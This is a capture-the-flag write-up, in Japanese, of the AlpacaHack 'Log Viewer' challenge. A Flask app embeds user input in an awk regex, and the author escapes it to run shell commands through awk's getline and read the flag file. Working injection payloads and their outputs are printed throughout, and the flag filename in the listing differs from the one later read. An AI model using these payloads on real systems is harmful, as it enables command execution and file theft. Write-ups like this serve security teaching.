Daily AlpacaHack: Log Viewer Writeup

以下のような Web アプリケーション が渡されます。 POST リクエストの form で query を渡すと awk の引数として渡されている正規表現の中身として展開されて、 info.log の中身を検索できるもののようです。

import subprocess
from flask import Flask, render_template, request


app = Flask(__name__)


@app.route("/", methods=["GET", "POST"])
def index():
    query = ""
    log = ""
    if request.method == "POST":
        query = request.form.get("query", "")

        command = ["awk", f"/{query}/", "info.log"]
        result = subprocess.run(
            command,
            capture_output=True,
            timeout=0.5,
            text=True,
        )
        log = result.stderr or result.stdout
    
    return render_template(
        "index.html",
        log=log,
        query=query,
    )

まず、 / を入力してみると、以下のようにエラーが出るので、メタ文字として解釈されていそうなことがわかります。これは使えそうです。

awk: line 1: syntax error at or near end of line

次に、 / { print $0 } を試してみると、以下のようなエラーが出ます。これはおそらく、後ろに残った / 部分が正規表現の始まりだと解釈されて、閉じられていないのでエラーになっていると考えられます。

awk: line 1: runaway regular expression / ...

awkプログラミング言語なので、コメントアウトの方法があるのではと調べてみると、 #コメントアウトできることがわかります。 / { print $0 } # を試してみると以下のようになります。

242.24.138.42 - - [01/Nov/2025 00:41:36] "DELETE / HTTP/2.0" 200 -
210.109.96.36 - - [01/Nov/2025 00:58:26] "PUT /api/items HTTP/1.0" 404 -
222.133.119.212 - - [01/Nov/2025 01:43:22] "GET /static/style.css HTTP/1.1" 500 -
239.122.152.88 - - [01/Nov/2025 02:18:59] "GET /static/app.js HTTP/1.0" 200 -
65.175.236.220 - - [01/Nov/2025 03:01:03] "POST /logout HTTP/2.0" 200 -
167.180.131.190 - - [01/Nov/2025 03:23:23] "GET /login HTTP/1.1" 200 -
(省略)

これだと print が効いているのかイマイチわかりにくいので、 / { print $1 } # にしてみると、

242.24.138.42
210.109.96.36
222.133.119.212
239.122.152.88
65.175.236.220

となって、うまくいっていそうです。

あとは、awk で任意のコマンドを実行できる方法を探せば良さそうです。以下の記事を読むと、 system() を使うか getline を使うかの選択肢がありそうです。

orebibou.com

最初に system() を試してみましたが、 / { system("ls") } # を入力すると、Internal Server Error になったりしてうまくいかなそうです。ローカルでサーバーを動かしてこの入力をしたときのバックエンドエラーを確認しましたが、なぜかタイムアウトしていて正直よくわからないという感じでした。

バックエンドエラー

web-1  | 172.21.0.1 - - [24/Dec/2025 14:35:35] "POST / HTTP/1.1" 500 -
web-1  | [2025-12-24 14:35:56,133] ERROR in app: Exception on / [POST]
web-1  | Traceback (most recent call last):
web-1  |   File "/usr/local/lib/python3.14/site-packages/flask/app.py", line 1511, in wsgi_app
web-1  |     response = self.full_dispatch_request()
web-1  |   File "/usr/local/lib/python3.14/site-packages/flask/app.py", line 919, in full_dispatch_request
web-1  |     rv = self.handle_user_exception(e)
web-1  |   File "/usr/local/lib/python3.14/site-packages/flask/app.py", line 917, in full_dispatch_request
web-1  |     rv = self.dispatch_request()
web-1  |   File "/usr/local/lib/python3.14/site-packages/flask/app.py", line 902, in dispatch_request
web-1  |     return self.ensure_sync(self.view_functions[rule.endpoint])(**view_args)  # type: ignore[no-any-return]
web-1  |            ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^
web-1  |   File "/app/app.py", line 16, in index
web-1  |     result = subprocess.run(
web-1  |         command,
web-1  |     ...<2 lines>...
web-1  |         text=True,
web-1  |     )
web-1  |   File "/usr/local/lib/python3.14/subprocess.py", line 556, in run
web-1  |     stdout, stderr = process.communicate(input, timeout=timeout)
web-1  |                      ~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^
web-1  |   File "/usr/local/lib/python3.14/subprocess.py", line 1220, in communicate
web-1  |     stdout, stderr = self._communicate(input, endtime, timeout)
web-1  |                      ~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^
web-1  |   File "/usr/local/lib/python3.14/subprocess.py", line 2127, in _communicate
web-1  |     self._check_timeout(endtime, orig_timeout, stdout, stderr)
web-1  |     ~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
web-1  |   File "/usr/local/lib/python3.14/subprocess.py", line 1267, in _check_timeout
web-1  |     raise TimeoutExpired(
web-1  |     ...<2 lines>...
web-1  |             stderr=b''.join(stderr_seq) if stderr_seq else None)
web-1  | subprocess.TimeoutExpired: Command '['awk', '// { system("ls") } #/', 'info.log']' timed out after 0.5 seconds

system() を使うのは諦めて、 getline を使う方向で試してみます。 / { "ls /" | getline t; print t } # を入力すると、以下のような出力が得られました。うまくいっていそうです。

app
bin
boot
dev
etc
flag-3876917cbd1b3db12e39587c66ac2891.txt
home
(省略)

フラグのファイル名がわかったので、ファイルの中身を読むために / { "cat /flag-c524ccd5b45a2f09035bb98e967d0aae.txt" | getline t; print t } # を入力してみると、いっぱいフラグが得られました。

Alpaca{th3_AWK_Pr0gr4mming_Lan9u4g3}
Alpaca{th3_AWK_Pr0gr4mming_Lan9u4g3}
Alpaca{th3_AWK_Pr0gr4mming_Lan9u4g3}
Alpaca{th3_AWK_Pr0gr4mming_Lan9u4g3}
Alpaca{th3_AWK_Pr0gr4mming_Lan9u4g3}
Alpaca{th3_AWK_Pr0gr4mming_Lan9u4g3}
(省略)